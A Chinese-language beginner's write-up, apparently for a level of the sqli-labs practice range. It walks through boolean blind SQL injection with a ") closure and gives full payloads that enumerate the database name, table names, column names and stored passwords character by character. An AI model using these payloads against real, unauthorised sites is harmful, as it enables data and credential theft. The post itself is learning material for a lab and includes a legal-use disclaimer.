此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
上一关是典型的布尔盲注,是单引号闭合。这一关是")闭合。
这一关和上一关唯一不同的就是闭合不同,我们一个个试就行。一般都是单引号、双引号,或者引号和括号混合。
注入语句为
1 or 1=1
1 or 1=2
发现没有反应,再试试
1' or 1=1#
1' or 1=2#
经过不断尝试payload为
1") or 1=1#
1") or 1=2#
注入语句为
1") or length(database())>7#
注入语句为
1") or ascii(substr(database(),1,1))>114#
(如图所示)发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security
注入语句为
1") or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#
发现第一个数据库表名大于5页面正常,大于6页面false状态。(如图所示)
通过limit 0,1递增标注数字猜其他表名长度。
得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5
1") or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#
(如图所示)发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符’u’
通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users
注入语句为
1") or (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1#
(如图所示)猜出第一个列名长度大于1页面正常,大于2页面false,所以第一个列名长2。以此类推递增limit得到所有列名长度(略)。第二个列名长8,第三个列名长8。
注入语句为
1") or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#
猜到第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username,password列名。
注入语句为
1") or length((select password from users limit 0,1))>3#
(如图所示)猜出第一个密码长度大于3正常,大于4页面false。以此类推查所有数据长度。方法和上面一样就不展示了
注入语句为
1") or ascii(substr((select password from users limit 0,1),1,1))>67#
(如图所示)猜出密码第一个字符大于67正常,大于68页面false。以此类推,猜出所有数据名字。
这一关和上一关差不多,只是闭合方式不同。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!